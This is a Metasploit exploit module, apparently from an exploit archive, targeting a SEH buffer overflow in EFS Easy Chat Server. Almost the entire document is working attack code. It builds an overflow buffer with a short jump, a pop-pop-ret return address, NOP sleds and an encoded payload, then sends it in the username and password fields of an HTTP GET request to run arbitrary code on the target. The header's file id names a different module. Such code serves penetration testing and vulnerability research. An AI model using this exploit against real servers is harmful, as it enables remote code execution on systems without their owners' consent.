EFS Easy Chat Server Buffer Overflow

`##  
# $Id: ca_igateway_debug.rb 6568 2009-05-19 13:20:32Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EFS Easy Chat server Universal BOF-SEH (META)',  
'Description' => %q{  
This module exploits a vulnerability in Easy chat server by passing  
an arbitary evil biuffer along with the username password.  
Sucessful attack could run arbitary code on victim machine  
},  
'Author' => 'FB1H2S',  
'License' => MSF_LICENSE,  
'Version' => '',  
'References' =>  
[  
[ 'Exploitdb', 'http://www.exploit-db.com/exploits/11179' ],  
  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 1200,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
'Compat' =>   
{  
'ConnectionType' => '+ws2ord',  
},  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'EFS Easy Chat Server Universal', { 'Ret' => 0x1001b9a2 } ], # p/p/r   
],  
'Privileged' => true,  
'DisclosureDate' => 'jan 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80),  
], self.class)  
end  
  
  
  
def exploit  
connect  
sploit = Rex::Text.rand_text_alphanumeric(216)  
sploit << "\xeb\x06\x90\x90" # short jump 6 bytes  
sploit << [target.ret].pack('V') #ppr universal  
sploit << "\x90" * 20 # nop sled  
sploit << payload.encoded #payload \xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc  
sploit << "\x90" * 20  
request= 'chat.ghp?username=' +sploit+ '&password=' +sploit+ '&room=1&sex=2'  
send = "GET /" + request + " HTTP/1.0"  
sock.put(send + "\r\n\r\n\r\n")  
disconnect  
handler  
end  
end  
`